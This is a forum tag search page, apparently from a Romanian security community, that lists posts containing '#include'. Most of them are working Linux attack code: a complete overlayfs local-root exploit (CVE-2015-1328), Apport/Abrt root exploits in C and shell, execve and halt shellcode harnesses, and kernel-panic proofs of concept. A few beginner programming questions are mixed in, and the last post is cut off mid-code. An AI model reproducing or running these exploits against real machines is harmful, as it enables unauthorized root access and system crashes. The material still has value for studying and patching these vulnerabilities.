Jump to content

Search the Community

Showing results for tags '#include'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges
    • Bug Bounty
    • Programare
    • Reverse engineering & exploit development
    • Mobile phones
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Sugestii
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Categories

There are no results to display.

There are no results to display.

Blogs

There are no results to display.

There are no results to display.


Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 18 results

  1. The overlayfs filesystem does not correctly check file permissions when creating new files in the upper filesystem directory. This can be exploited by an unprivileged process in kernels with CONFIG_USER_NS=y and where overlayfs has the FS_USERNS_MOUNT flag, which allows the mounting of overlayfs inside unprivileged mount namespaces. This is the default configuration of Ubuntu 12.04, 14.04, 14.10, and 15.04 [1]. If you don't want to update your kernel and you don't use overlayfs, a viable workaround is to just remove or blacklist overlayfs.ko / overlay.ko. Details ================================ >From Documentation/filesystems/overlayfs.txt [2]: "Objects that are not directories (files, symlinks, device-special files etc.) are presented either from the upper or lower filesystem as appropriate. When a file in the lower filesystem is accessed in a way the requires write-access, such as opening for write access, changing some metadata etc., the file is first copied from the lower filesystem to the upper filesystem (copy_up)." The ovl_copy_up_* functions do not correctly check that the user has permission to write files to the upperdir directory. The only permissions that are checked is if the owner of the file that is being modified has permission to write to the upperdir. Furthermore, when a file is copied from the lowerdir the file metadata is carbon copied, instead of attributes such as owner being changed to the user that triggered the copy_up_* procedures. Example of creating a 1:1 copy of a root-owned file: (Note that the workdir= option is not needed on older kernels) user@...ntu-server-1504:~$ ./create-namespace root@...ntu-server-1504:~# mount -t overlay -o lowerdir=/etc,upperdir=upper,workdir=work overlayfs o root@...ntu-server-1504:~# chmod 777 work/work/ root@...ntu-server-1504:~# cd o root@...ntu-server-1504:~/o# mv shadow copy_of_shadow (exit the namespace) user@...ntu-server-1504:~$ ls -al upper/copy_of_shadow -rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow user@...ntu-server-1504:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode Device: 801h/2049d Inode: 939791 Links: 1 Device: 801h/2049d Inode: 277668 Links: 1 Now we can place this file in /etc by switching "upper" to be the lowerdir option, the permission checks pass since the file is owned by root and root can write to /etc. user@...ntu-server-1504:~$ ./create-namespace root@...ntu-server-1504:~# mount -t overlay -o lowerdir=upper,upperdir=/etc,workdir=work overlayfs o root@...ntu-server-1504:~# chmod 777 work/work/ root@...ntu-server-1504:~# cd o root@...ntu-server-1504:~/o# chmod 777 copy_of_shadow root@...ntu-server-1504:~/o# exit user@...ntu-server-1504:~$ ls -al /etc/copy_of_shadow -rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow The attached exploit gives a root shell by creating a world-writable /etc/ld.so.preload file. The exploit has been tested on the most recent kernels before 2015-06-15 on Ubuntu 12.04, 14.04, 14.10 and 15.04. It is also possible to list directory contents for any directory on the system regardless of permissions: nobody@...ntu-server-1504:~$ ls -al /root ls: cannot open directory /root: Permission denied nobody@...ntu-server-1504:~$ mkdir o upper work nobody@...ntu-server-1504:~$ mount -t overlayfs -o lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work overlayfs /home/user/o nobody@...ntu-server-1504:~$ ls -al o 2>/dev/null total 8 drwxrwxr-x 1 root nogroup 4096 May 24 16:33 . drwxr-xr-x 8 root nogroup 4096 May 24 16:33 .. -????????? ? ? ? ? ? .bash_history -????????? ? ? ? ? ? .bashrc d????????? ? ? ? ? ? .cache -????????? ? ? ? ? ? .lesshst d????????? ? ? ? ? ? linux-3.19.0 Credit ================================ Philip Pettersson, Samsung SDS Security Center References ================================ [1] https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/vivid/commit/?id=78ec4549 [2] https://www.kernel.org/doc/Documentation/filesystems/overlayfs.txt [3] http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html -------------- /* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebel # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* CVE-2015-1328 / ofs.c overlayfs incorrect permission handling + FS_USERNS_MOUNT user@ubuntu-server-1504:~$ uname -a Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu-server-1504:~$ gcc ofs.c -o ofs user@ubuntu-server-1504:~$ id uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev) user@ubuntu-server-1504:~$ ./ofs spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created creating shared library # id uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user) greets to beist & kaliman 2015-05-24 %rebel% *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #include <sys/types.h> #include <signal.h> #include <fcntl.h> #include <string.h> #include <linux/sched.h> #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" static char child_stack[1024*1024]; static int child_exec(void *stuff) { char *file; system("rm -rf /tmp/ns_sploit"); mkdir("/tmp/ns_sploit", 0777); mkdir("/tmp/ns_sploit/work", 0777); mkdir("/tmp/ns_sploit/upper",0777); mkdir("/tmp/ns_sploit/o",0777); fprintf(stderr,"mount #1\n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); exit(-1); } file = ".access"; chmod("/tmp/ns_sploit/work/work",0777); } else file = "ns_last_pid"; chdir("/tmp/ns_sploit/o"); rename(file,"ld.so.preload"); chdir("/"); umount("/tmp/ns_sploit/o"); fprintf(stderr,"mount #2\n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { exit(-1); } chmod("/tmp/ns_sploit/work/work",0777); } chmod("/tmp/ns_sploit/o/ld.so.preload",0777); umount("/tmp/ns_sploit/o"); } int main(int argc, char **argv) { int status, fd, lib; pid_t wrapper, init; int clone_flags = CLONE_NEWNS | SIGCHLD; fprintf(stderr,"spawning threads\n"); if((wrapper = fork()) == 0) { if(unshare(CLONE_NEWUSER) != 0) fprintf(stderr, "failed to create new user namespace\n"); if((init = fork()) == 0) { pid_t pid = clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); if(pid < 0) { fprintf(stderr, "failed to create new mount namespace\n"); exit(-1); } waitpid(pid, &status, 0); } waitpid(init, &status, 0); return 0; } usleep(300000); wait(NULL); fprintf(stderr,"child threads done\n"); fd = open("/etc/ld.so.preload",O_WRONLY); if(fd == -1) { fprintf(stderr,"exploit failed\n"); exit(-1); } fprintf(stderr,"/etc/ld.so.preload created\n"); fprintf(stderr,"creating shared library\n"); lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); write(lib,LIB,strlen(LIB)); close(lib); lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); if(lib != 0) { fprintf(stderr,"couldn't create dynamic library\n"); exit(-1); } write(fd,"/tmp/ofs-lib.so\n",16); close(fd); system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); execl("/bin/su","su",NULL); } Source
  2. /* ; Title: Linux/x86 execve "/bin/sh" - shellcode 35 bytes ; Platform: linux/x86_64 ; Date: 2014-06-26 ; Author: Mohammad Reza Espargham ; Simple ShellCode section .text: 08048060 <_start>: 8048060: eb 17 jmp 8048079 08048062 : 8048062: 5e pop %esi 8048063: 31 d2 xor %edx,%edx 8048065: 52 push %edx 8048066: 56 push %esi 8048067: 89 e1 mov %esp,%ecx 8048069: 89 f3 mov %esi,%ebx 804806b: 31 c0 xor %eax,%eax 804806d: b0 0b mov $0xb,%al 804806f: cd 80 int $0x80 8048071: 31 db xor %ebx,%ebx 8048073: 31 c0 xor %eax,%eax 8048075: 40 inc %eax 8048076: cd 80 int $0x80 08048078 : 8048078: e8 e5 ff ff ff call 8048062 804807d: 2f das 804807e: 62 69 6e bound %ebp,0x6e(%ecx) 8048081: 2f das 8048082: 73 68 jae 80480ec */ #include <stdio.h> #include <string.h> #include <sys/mman.h> #define PAGE_SIZE 4096U char code[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; int main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); return 0; } Source
  3. /* +======================================================================================== | # Exploit Title : linux/x86 setreuid(0, 0) + execve("/sbin/halt") + exit(0) - 49 bytes | # Exploit Author : Febriyanto Nugroho | # Tested on : Linux Debian 5.0.5 +======================================================================================== */ #include <stdio.h> #include <string.h> char s[] = "\x31\xc0\x31\xdb\x50\x53\x89\xe1" "\xb0\x46\xcd\x80\x31\xc0\x50\x68" "\x68\x61\x6c\x74\x68\x6e\x2f\x2f" "\x2f\x68\x2f\x73\x62\x69\x89\xe3" "\x50\x53\xb0\x0b\x89\xe1\xcd\x80" "\x31\xc0\x50\x89\xe3\xb0\x01\xcd" "\x80"; int main(int argc, char *argv[]) { printf("shellcode length -> %d bytes\n", strlen(s)); int(*fuck)() = (int(*)())s; fuck(); return 0; } Source
  4. Salutare, Am urm?torul cod în C++ #include <fstream>#include <iostream> #include <math.h> using namespace std; bool pal(unsigned n) { unsigned x=n, inv=0; while (x>0) { inv = inv*10+x%10; x/=10; } return inv==n; } int main() { ifstream fin("test.in"); unsigned n; fin >> n; for (unsigned i=1;i<=n;i++) { unsigned a, b, rez=0; fin >> a >> b; if (pal(a)&&pal(int(sqrt(double(a))))) rez++; a=int(sqrt(double(a)))+1; b=int(sqrt(double()); while (a<= { if (pal(a) && pal(a*a)) rez++; a++; } cout << "Case #" << i << ": " << rez << endl; } return 0; } ?tiu c? putea fi scris ceva mai optimizat, ideea e c? am nevoie de acest cod în Java. M? poate ajuta cineva? ?i cam ce am f?cut eu: package palindrome;import java.util.*; public class palindrome { public static boolean pal(int n) { int x = n; int inv = 0; while (x > 0) { inv = inv * 10 + x % 10; x /= 10; } return inv == n; } public static int Main() { Scanner sc = new Scanner(new File("file.in")); int n = sc.nextInt(); for (int i = 1;i <= n;i++) { int rez = 0; int a = sc.nextInt(); int b = sc.nextInt(); if (palindrome.pal(a) && palindrome.pal((int)Math.sqrt((double)a))) { rez++; } a = (int)Math.sqrt((double)a) + 1; b = (int)Math.sqrt((double); while (a <= { if (palindrome.pal(a) && palindrome.pal(a * a)) { rez++; } a++; } System.out.print("Case #"); System.out.print(i); System.out.print(": "); System.out.print(rez); System.out.print("\n"); } return 0; } }
  5. [CVE-2015-1318,CVE-2015-1862] Apport/Abrt Local Root Exploit #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <elf.h> #include <err.h> #include <syslog.h> #include <sched.h> #include <linux/sched.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/auxv.h> #include <sys/wait.h> # warning this file must be compiled with -static // // Apport/Abrt Vulnerability Demo Exploit. // // Apport: CVE-2015-1318 // Abrt: CVE-2015-1862 // // -- taviso@cmpxchg8b.com, April 2015. // // $ gcc -static newpid.c // $ ./a.out // uid=0(root) gid=0(root) groups=0(root) // sh-4.3# exit // exit // // Hint: To get libc.a, // yum install glibc-static or apt-get install libc6-dev // int main(int argc, char **argv) { int status; Elf32_Phdr *hdr; pid_t wrapper; pid_t init; pid_t subprocess; unsigned i; // Verify this is a static executable by checking the program headers for a // dynamic segment. Originally I thought just checking AT_BASE would work, // but that isnt reliable across many kernels. hdr = (void *) getauxval(AT_PHDR); // If we find any PT_DYNAMIC, then this is probably not a static binary. for (i = 0; i < getauxval(AT_PHNUM); i++) { if (hdr[i].p_type == PT_DYNAMIC) { errx(EXIT_FAILURE, "you *must* compile with -static"); } } // If execution reached here, it looks like we're a static executable. If // I'm root, then we've convinced the core handler to run us, so create a // setuid root executable that can be used outside the chroot. if (getuid() == 0) { if (chown("sh", 0, 0) != 0) exit(EXIT_FAILURE); if (chmod("sh", 04755) != 0) exit(EXIT_FAILURE); return EXIT_SUCCESS; } // If I'm not root, but euid is 0, then the exploit worked and we can spawn // a shell and cleanup. if (setuid(0) == 0) { system("id"); system("rm -rf exploit"); execlp("sh", "sh", NULL); // Something went wrong. err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked"); } // It looks like the exploit hasn't run yet, so create a chroot. if (mkdir("exploit", 0755) != 0 || mkdir("exploit/usr", 0755) != 0 || mkdir("exploit/usr/share", 0755) != 0 || mkdir("exploit/usr/share/apport", 0755) != 0 || mkdir("exploit/usr/libexec", 0755) != 0) { err(EXIT_FAILURE, "failed to create chroot directory"); } // Create links to the exploit locations we need. if (link(*argv, "exploit/sh") != 0 || link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu || link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora err(EXIT_FAILURE, "failed to create required hard links"); } // Create a subprocess so we don't enter the new namespace. if ((wrapper = fork()) == 0) { // In the child process, create a new pid and user ns. The pid // namespace is only needed on Ubuntu, because they check for %P != %p // in their core handler. On Fedora, just a user ns is sufficient. if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0) err(EXIT_FAILURE, "failed to create new namespace"); // Create a process in the new namespace. if ((init = fork()) == 0) { // Init (pid 1) signal handling is special, so make a subprocess to // handle the traps. if ((subprocess = fork()) == 0) { // Change /proc/self/root, which we can do as we're privileged // within the new namepace. if (chroot("exploit") != 0) { err(EXIT_FAILURE, "chroot didnt work"); } // Now trap to get the core handler invoked. __builtin_trap(); // Shouldn't happen, unless user is ptracing us or something. err(EXIT_FAILURE, "coredump failed, were you ptracing?"); } // If the subprocess exited with an abnormal signal, then everything worked. if (waitpid(subprocess, &status, 0) == subprocess) return WIFSIGNALED(status) ? EXIT_SUCCESS : EXIT_FAILURE; // Something didn't work. return EXIT_FAILURE; } // The new namespace didn't work. if (waitpid(init, &status, 0) == init) return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS ? EXIT_SUCCESS : EXIT_FAILURE; // Waitpid failure. return EXIT_FAILURE; } // If the subprocess returned sccess, the exploit probably worked, reload // with euid zero. if (waitpid(wrapper, &status, 0) == wrapper) { // All done, spawn root shell. if (WIFEXITED(status) && WEXITSTATUS(status) == 0) { execl(*argv, "w00t", NULL); } } // Unknown error. errx(EXIT_FAILURE, "unexpected result, cannot continue"); } Apport - Local Linux Root #!/bin/sh # # CVE-2015-1318 # # Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758 # # Example: # # % uname -a # Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux # # % lsb_release -a # No LSB modules are available. # Distributor ID: Ubuntu # Description: Ubuntu 14.04.2 LTS # Release: 14.04 # Codename: trusty # # % dpkg -l | grep '^ii apport ' | awk -F ' ' '{ print $2 " " $3 }' # apport 2.14.1-0ubuntu3.8 # # % id # uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...) # # % ./apport.sh # pwned-4.3# id # uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...) # pwned-4.3# exit TEMPDIR=$(mktemp -d) cd ${TEMPDIR} cp /bin/busybox . mkdir -p dev mnt usr/share/apport ( cat << EOF #!/busybox sh ( cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned chmod 5755 /mnt/1/root/tmp/pwned ) EOF ) > usr/share/apport/apport chmod +x usr/share/apport/apport ( cat << EOF mount -o bind . . cd . mount --rbind /proc mnt touch dev/null pivot_root . . ./busybox sleep 500 & SLEEP=\$! ./busybox sleep 1 ./busybox kill -11 \$SLEEP ./busybox sleep 5 EOF ) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \ lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null /tmp/pwned -p rm -Rf ${TEMPDIR}
  6. Salut.Cum as putea sa uploadez un fisier pe un server ftp folosing un program in c++? Am incercat asta...dar am gresit pe undeva...dupa ce se conecteaza la server ftp, nu isi ia username-ul scris pe randul urmator, ci asteapta sa scriu eu unul de la tastatura #include <iostream> #include<windows.h> using namespace std; int main() { system("ftp ftp.*******"); system("username"); system("pass"); system("bin"); system("put test.txt"); }
  7. Sincer sunt incepator in algoritmica va rog sa ma ajutati la o problema . Se introduce un sir de numere de la tastatura pana la intalnirea valorii 0. Sa se afiseze : a)Maximul dintre numerele negative b)minimul dintre nr negative c)maximul dintre nr pozitive d)minimul dintre nr pozitive Ce am facut eu . Nu mi-a iesit la negative si nu am mai continuat si la celelalte. #include<iostream> #include<conio.h> using namespace std; int main(){ int n,max,min,max1,min1; cout <<"n=";cin>>n; while (n<0){ cout <<"n=";cin>>n;} if (n==0) cout <<"Nu exista nr negative"; else{ max=n; min=n; } while (n != 0){ if (n>max && n<0) max=n; if (n<min && n<0) min=n; cout <<"n=";cin>>n; } cout <<"Maximul este : "<<max<<endl; cout <<"Minimul este : "<<min; getch(); return 0; }
  8. /* ---------------------------------------------------------------------------------------------------- * cve-2014-9322_poc.c * * arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not * properly handle faults associated with the Stack Segment (SS) segment * register, which allows local users to gain privileges by triggering an IRET * instruction that leads to access to a GS Base address from the wrong space. * * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic. * * I have no merit to writing this poc, I just implemented first part of Rafal Wojtczuk article (this guy is a genius!) * More info at : http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/ * * * Compile with gcc -fno-stack-protector -Wall -o cve-2014-9322_poc cve-2014-9322_poc.c -lpthread * * Emeric Nasi - www.sevagas.com *-----------------------------------------------------------------------------------------------------*/ // Only works on x86_64 platform #ifdef __x86_64__ /* ----------------------- Includes ----------------------------*/ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <asm/ldt.h> #include <pthread.h> #include <sys/time.h> #include <inttypes.h> #include <stdbool.h> #include <errno.h> #include <sys/user.h> /* ----------------------- definitions ----------------------------*/ #define TARGET_KERNEL_MIN "3.0.0" #define TARGET_KERNEL_MAX "3.17.4" #define EXPLOIT_NAME "cve-2014-9322" #define EXPLOIT_TYPE DOS #define FALSE_SS_BASE 0x10000UL #define MAP_SIZE 0x10000 /* ----------------------- Global variables ----------------------------*/ struct user_desc new_stack_segment; /* ----------------------- functions ----------------------------*/ /** * Creates a new segment in Local Descriptor Table */ static bool add_ldt(struct user_desc *desc, const char *name) { if (syscall(SYS_modify_ldt, 1, desc, sizeof(struct user_desc)) == 0) { return true; } else { printf("[cve_2014_9322 error]: Failed to create %s segment\n", name); printf("modify_ldt failed, %s\n", strerror(errno)); return false; } } int FLAG = 0; void * segManipulatorThread(void * none) { new_stack_segment.entry_number = 0x12; new_stack_segment.base_addr = 0x10000; new_stack_segment.limit = 0xffff; new_stack_segment.seg_32bit = 1; new_stack_segment.contents = MODIFY_LDT_CONTENTS_STACK; /* Data, grow-up */ new_stack_segment.read_exec_only = 0; new_stack_segment.limit_in_pages = 0; new_stack_segment.seg_not_present = 0; new_stack_segment.useable = 0; new_stack_segment.lm = 0; // Create a new stack segment add_ldt(&new_stack_segment, "newSS"); // Wait for main thread to use new stack segment sleep(3); // Invalidate stack segment new_stack_segment.seg_not_present = 1; add_ldt(&new_stack_segment, "newSS disable"); FLAG = 1; sleep(15); return NULL; } /** * DOS poc for cve_2014_9322 vulnerability */ int main() { pthread_t thread1; uint8_t *code; printf("[cve_2014_9322]: Preparing to exploit.\n"); // map area for false SS code = (uint8_t *)mmap((void *)FALSE_SS_BASE, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); if (code != (uint8_t *) FALSE_SS_BASE) { fprintf(stderr, "[cve_2014_9322 Error]: Unable to map memory at address: %lu\n", FALSE_SS_BASE); return -1; } printf("[cve_2014_9322]: Panic!\n"); if(pthread_create(&thread1, NULL, segManipulatorThread, NULL)!= 0) { perror("[cve_2014_9322 error]: pthread_create"); return false; } // Wait for segManipulatorThread to create new stack segment sleep(1); // Set stack segment to newly created one in segManipulatorThread asm volatile ("mov %0, %%ss;" : :"r" (0x97) ); while(FLAG == 0){}; sleep(4); return 0; } #endif // __x86_64__ Source
  9. /* ---------------------------------------------------------------------------------------------------- * cve-2014-4943_poc.c * * The PPPoL2TP feature in net/l2tp/l2tp_ppp.c in the Linux kernel through 3.15.6 allows local users to gain privileges by leveraging data-structure * differences between an l2tp socket and an inet socket. * * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic. * I have tried to exploit this vulnerability and I am sure there is a way (or several) to elevate privileges. * There are some kernel structures that can be overwriten but I didn't manage to find the ultimate trick to at least point back to userland. * If seems guys at immunuty found a way using race condition. * * * Compile with gcc -fno-stack-protector -Wall -o cve-2014-4943_poc cve-2014-4943_poc.c * * Emeric Nasi - www.sevagas.com *-----------------------------------------------------------------------------------------------------*/ /* ----------------------- Includes ----------------------------*/ #include <netinet/ip.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/mman.h> #include <linux/net.h> #include <linux/udp.h> #include <linux/if.h> #include <linux/if_pppox.h> #include <linux/if_pppol2tp.h> /* ----------------------- Definitions ----------------------------*/ #define TARGET_KERNEL_MIN "3.2.0" #define TARGET_KERNEL_MAX "3.15.6" #define EXPLOIT_NAME "cve-2014-4943" /* ----------------------- functions ----------------------------*/ /** * It is possible to modify several parts of socket object using IP options frop UDP setsockopt * For this POC, IP_OPTIONS is the easiest way to panic kernel */ void modifyUDPvalues(int tunnel_fd) { /* Extract from kernel code which is vulnerable, here you can see that both udp_setsockopt and ip_setsockopt (on inet_sock) can be used to leverage vulnerability: int udp_setsockopt(struct sock *sk, int level, int optname, char __user *optval, unsigned int optlen) { if (level == SOL_UDP || level == SOL_UDPLITE) return udp_lib_setsockopt(sk, level, optname, optval, optlen, udp_push_pending_frames); return ip_setsockopt(sk, level, optname, optval, optlen); } */ int ip_options = 0x1; if (setsockopt(tunnel_fd, SOL_IP, IP_OPTIONS, &ip_options, 20) == -1) { perror("setsockopt (IP_OPTIONS)"); } } /** * DOS poc for cve_2014_4943 vulnerability */ int main() { int tunnel_fd; int tunnel_fd2; int udp_fd; printf("[cve_2014_4943]: Preparing to exploit.\n"); /* Create first L2TP socket */ tunnel_fd = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP); if (tunnel_fd < 0) { perror("socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP)"); return -1; } /* Create second L2TP socket */ tunnel_fd2 = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP); if (tunnel_fd2 < 0) { perror("socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP)"); return -1; } if ((udp_fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("cannot create socket"); return -1; } /* Connect LT2P socket */ struct sockaddr_pppol2tp sax; memset(&sax, 0, sizeof(sax)); sax.sa_family = AF_PPPOX; sax.sa_protocol = PX_PROTO_OL2TP; sax.pppol2tp.fd = udp_fd; /* fd of tunnel UDP socket */ sax.pppol2tp.addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);// peer_addr->sin_addr.s_addr; sax.pppol2tp.addr.sin_port = htons(1337);//peer_addr->sin_port; sax.pppol2tp.addr.sin_family = AF_INET; sax.pppol2tp.s_tunnel = 8;//tunnel_id; sax.pppol2tp.s_session = 0; /* special case: mgmt socket */ sax.pppol2tp.d_tunnel = 0; sax.pppol2tp.d_session = 0; /* special case: mgmt socket */ if(connect(tunnel_fd, (struct sockaddr *)&sax, sizeof(sax) ) < 0 ) { perror("connect failed"); } /* Connect LT2P socket */ struct sockaddr_pppol2tp sax2; memset(&sax, 0, sizeof(sax2)); sax2.sa_family = AF_PPPOX; sax2.sa_protocol = PX_PROTO_OL2TP; sax2.pppol2tp.s_tunnel = 8;//tunnel_id; sax2.pppol2tp.s_session = 1; sax2.pppol2tp.d_tunnel = 0; sax2.pppol2tp.d_session = 1; if(connect(tunnel_fd2, (struct sockaddr *)&sax2, sizeof(sax2) ) < 0 ) { perror("connect failed"); } /* * Entering critical part */ printf("[cve_2014_4943]: Panic!\n"); //modifyUDPvalues(tunnel_fd); modifyUDPvalues(tunnel_fd2); // close opened socket puts("\n [+] Closing sockets..."); close(tunnel_fd); close(tunnel_fd2); exit(0); } Source
  10. /* ---------------------------------------------------------------------------------------------------- * cve-2014-3631_poc.c * * The assoc_array_gc function in the associative-array implementation in lib/assoc_array.c in the Linux kernel before 3.16.3 * does not properly implement garbage collection, which allows local users to cause a denial of service (NULL pointer dereference and system crash) * or possibly have unspecified other impact via multiple "keyctl newring" operations followed by a "keyctl timeout" operation. * * * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic. * * Compile with gcc -fno-stack-protector -Wall -o cve-2014-3631_poc cve-2014-3631_poc.c -lkeyutils * * * Emeric Nasi - www.sevagas.com *-----------------------------------------------------------------------------------------------------*/ /* ----------------------- Includes ----------------------------*/ #define _GNU_SOURCE 1 #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <syscall.h> #include <stdint.h> #include <inttypes.h> #include <keyutils.h> #include <fcntl.h> #define TARGET_KERNEL_MIN "3.13.0" #define TARGET_KERNEL_MAX "3.16.2" #define EXPLOIT_NAME "cve-2014-3631" #define EXPLOIT_TYPE DOS /* ----------------------- functions ----------------------------*/ /** * Poc for cve_2014_3631 vulnerability */ int main() { key_serial_t currentKey = 0; key_serial_t topKey = 0; int i = 0; int fp; char kname[16]={0}; char gc_delay[16] = {0}; int delay =0; printf("[cve_2014_3631]: Preparing to exploit.\n"); // fetch garbage collector value.. fp = open("/proc/sys/kernel/keys/gc_delay",O_RDONLY); if(fp == -1) { printf("[cve_2014_3631 error]: Could not open /proc/sys/kernel/keys/gc_delay, assuming delay is 5 minutes. \n"); delay = 300; } else { read(fp,gc_delay,sizeof(gc_delay-1)); delay = atoi(gc_delay); close(fp); } // Add top key topKey = add_key("keyring","Lvl1K",NULL,0,KEY_SPEC_USER_KEYRING); if(topKey == -1) { printf("[cve_2014_3631 error]: keyring fault\n"); perror("add_key"); return -1; } // Add 18 keys to top key for(i=0; i< 18; i++) { memset(kname,00,sizeof(kname)); memcpy(kname,"Lvl2K_",strlen("Lvl2K_")); sprintf(kname+strlen("Lvl2K_"),"%d",i); currentKey = 